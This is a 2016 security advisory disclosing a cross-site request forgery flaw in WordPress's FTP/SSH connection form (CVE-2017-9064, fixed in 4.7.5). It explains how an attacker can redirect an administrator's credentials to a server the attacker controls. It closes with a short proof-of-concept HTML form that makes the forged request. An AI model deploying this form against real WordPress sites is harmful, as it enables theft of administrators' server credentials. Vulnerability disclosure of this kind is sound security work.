Yorick Koster, July 2016

Cross-Site Request Forgery in WordPress Connection Information

Abstract

The FTP/SSH form functionality of WordPress was found to be vulnerable to Cross-Site Request Forgery. This vulnerability can be used to overwrite the FTP or SSH connection settings of the affected WordPress site. An attacker can use this issue to trick an Administrator into logging into the attacker's FTP or SSH server, disclosing his/her login credentials to the attacker. In order to exploit this vulnerability, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160717-0004

See also

- CVE-2017-9064
- WordPress 4.7.5 Security and Maintenance Release

Tested versions

This issue was successfully tested on the WordPress version 4.5.3 up till and including version 4.7.4.

Fix

This issue is resolved in WordPress version 4.7.5.

Introduction

WordPress is web software you can use to create a website, blog, or app. It was found that the FTP/SSH form functionality is vulnerable to Cross-Site Request Forgery. This vulnerability can be used by an attacker to overwrite the FTP or SSH connection settings of the affected WordPress site. It can be used to trick in an Administrator into login into the attacker's FTP or SSH server, disclosing his/her login credentials to the attacker.

Details

This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values:

- hostname
- username
- connection_type

The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

/advisory/SFY20160743/wp_request_filesystem_credentials_csrf.png

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/plugins.php" method="POST">
         <input type="hidden" name="hostname" value="sumofpwn.nl" />
         <input type="hidden" name="connection_type" value="ftp" />
         <input type="hidden" name="password" value="password" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>